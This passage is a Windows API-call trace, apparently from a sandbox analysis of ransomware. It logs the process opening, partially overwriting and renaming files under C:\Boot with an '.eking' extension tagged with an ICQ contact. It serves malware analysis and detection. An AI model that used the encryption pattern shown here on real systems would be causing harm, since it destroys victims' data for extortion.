(hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.282] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.283] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.284] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.285] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.286] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.286] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0xffffffff) returned 0x0 [0212.558] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=0) returned 1 [0212.558] CloseHandle (hObject=0x320) returned 1 [0213.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0213.667] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0213.667] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0213.667] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0213.668] ReadFile (in: hFile=0x348, lpBuffer=0x346e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x346e058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0213.686] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0213.686] ReadFile (in: hFile=0x348, lpBuffer=0x34ae058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x34ae058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0213.704] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f638 | out: lpNewFilePointer=0x0) returned 1 [0213.704] ReadFile (in: hFile=0x348, lpBuffer=0x34ee058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f9f644, lpOverlapped=0x0 | out: lpBuffer=0x34ee058*, lpNumberOfBytesRead=0x2f9f644*=0x40000, lpOverlapped=0x0) returned 1 [0213.994] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7a8 | out: lpNewFilePointer=0x0) returned 1 [0213.994] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xc0132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xc0132, lpOverlapped=0x0) returned 1 [0214.299] SetEndOfFile (hFile=0x348) returned 1 [0214.302] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x348, lpBuffer=0x352e16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e16a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0214.304] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0214.305] WriteFile (in: hFile=0x348, lpBuffer=0x352e16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e16a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0214.308] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f640 | out: lpNewFilePointer=0x0) returned 1 [0214.308] WriteFile (in: hFile=0x348, lpBuffer=0x352e16a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f9f64c, lpOverlapped=0x0 | out: lpBuffer=0x352e16a*, lpNumberOfBytesWritten=0x2f9f64c*=0x40000, lpOverlapped=0x0) returned 1 [0214.311] CloseHandle (hObject=0x348) returned 1 [0215.195] SetEvent (hEvent=0x2b8) returned 1 [0215.196] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.197] SetEvent (hEvent=0x2b8) returned 1 [0215.197] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.197] SetEvent (hEvent=0x2b8) returned 1 [0215.198] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0215.199] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=0) returned 1 [0215.199] CloseHandle (hObject=0x348) returned 1 [0215.199] SetEvent (hEvent=0x2b8) returned 1 [0215.826] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0215.827] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=0) returned 1 [0215.827] CloseHandle (hObject=0x348) returned 1 [0215.827] SetEvent (hEvent=0x2b8) returned 1 [0215.828] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0215.828] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77664) returned 1 [0215.828] CloseHandle (hObject=0x348) returned 1 [0215.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0215.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0215.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0215.829] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.829] SetEvent (hEvent=0x2b8) returned 1 [0215.831] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0216.537] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=95648) returned 1 [0216.538] CloseHandle (hObject=0x370) returned 1 [0216.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0216.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0216.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.538] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.538] SetEvent (hEvent=0x2b8) returned 1 [0216.539] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0216.716] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2373000) returned 1 [0216.716] CloseHandle (hObject=0x358) returned 1 [0216.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0216.716] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0216.717] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0216.717] SetEvent (hEvent=0x2b8) returned 1 [0216.717] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.818] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=143754) returned 1 [0216.818] CloseHandle (hObject=0x318) returned 1 [0216.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0216.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0216.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.818] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.818] SetEvent (hEvent=0x2b8) returned 1 [0216.819] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.852] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=145419) returned 1 [0216.852] CloseHandle (hObject=0x318) returned 1 [0216.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0216.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0216.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.853] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.853] SetEvent (hEvent=0x2b8) returned 1 [0216.853] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0216.864] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=164347) returned 1 [0216.864] CloseHandle (hObject=0x318) returned 1 [0216.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0216.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0216.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0216.866] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.868] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.594] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=85862) returned 1 [0217.594] CloseHandle (hObject=0x318) returned 1 [0217.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0217.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0217.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.602] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.605] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.605] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=79200) returned 1 [0217.605] CloseHandle (hObject=0x318) returned 1 [0217.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0217.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20 [0217.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.605] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.606] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.606] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=79192) returned 1 [0217.606] CloseHandle (hObject=0x318) returned 1 [0217.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0217.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0217.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.606] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.607] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.607] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45984) returned 1 [0217.607] CloseHandle (hObject=0x318) returned 1 [0217.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0217.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0217.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.607] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.608] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.608] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=76640) returned 1 [0217.608] CloseHandle (hObject=0x318) returned 1 [0217.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0217.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0217.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.609] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.609] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.609] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=78688) returned 1 [0217.609] CloseHandle (hObject=0x318) returned 1 [0217.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0217.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0217.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.610] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.610] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: 